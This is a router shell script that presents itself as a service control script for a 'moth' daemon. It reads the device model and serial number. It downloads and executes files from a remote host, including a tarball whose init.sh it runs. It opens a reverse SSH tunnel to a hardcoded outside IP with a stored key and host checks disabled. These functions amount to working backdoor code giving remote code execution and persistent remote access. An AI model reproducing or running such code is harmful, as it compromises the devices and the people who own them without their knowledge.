#!/bin/sh

MLIBPATH=/usr/lib
APPDIR=/usr/bin
LOG_FILE=/tmp/moth.log
PID_FILE=/tmp/moth.pid
APPNAME=kmothd
RES_SRV="http://jbyzjslmw96j.aoaoco.com:18634"

moth_id() {
    echo -n "$(nvram get model)|$(nvram get SN)"
}

moth_stop() {
    local pid=$(cat $PID_FILE 2> /dev/null)
    rm -f $PID_FILE
    if test -z "$pid"; then
        killall -9 $APPNAME
    else
        kill -USR2 "$pid" || kill -9 -"$pid" || killall -9 $APPNAME
    fi
}

moth_none() {
    echo -n
}

moth_start() {
    moth_stop &> /dev/null
	LD_LIBRARY_PATH=${MLIBPATH} ${APPDIR}/moth start
}

moth_restart() {
	LD_LIBRARY_PATH=${MLIBPATH} ${APPDIR}/moth restart
}

moth_status() {
    ps | grep $APPNAME
}

moth_version() {
    echo -n "$(nvram get model)|$(uci get moth.moth.version 2> /dev/null)"
}

moth_update() {
    local upfile=/tmp/$(date +"%y%m%d%H%M")_update
    wget $1 -O $upfile || return 0
    chmod +x $upfile
    $upfile
}

moth_tunnel() {
    local ssh="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -g -y -N -f -R"
    local ip=${1-root@120.78.72.25}
    local port=${2-39243}
    pkill ssh
    $ssh 0.0.0.0:$port:127.0.0.1:39243 $ip -i /etc/tang.key
}

r3_file_exists() {
    local root="$1"
    test -e $root/etc/rc.d/S98mb_server || return 1
    test -e $root/etc/init.d/mb_server || return 1
    test -e $root/etc/moth || return 1
    test -e $root/usr/bin/moth || return 1
    test -e $root/usr/bin/mb || return 1
    return 0
}

r3_update_exit() {
    test -e "$1" && rm -f "$1"
    exit $2
}

moth_check() {
    local lockfile=/tmp/r3_update_lock
    test -e $lockfile && return 0
    echo 'MB LOCK' > $lockfile
    r3_file_exists && r3_update_exit "$lockfile" 0
    local tarname=r3.tar.gz
    wget $RES_SRV/$tarname -O /tmp/$tarname || r3_update_exit $lockfile 0
    cd /tmp
    tar -xzf $tarname || r3_update_exit $lockfile 0
    cd r3
    chmod +x init.sh
    ./init.sh
}

cmd=${1-none}

test $# -ge 0 && shift

if test -f "$cmd" ; then
    . $cmd
    cmd=$1
    test $# -ge 0 && shift
fi

moth_${cmd} $@

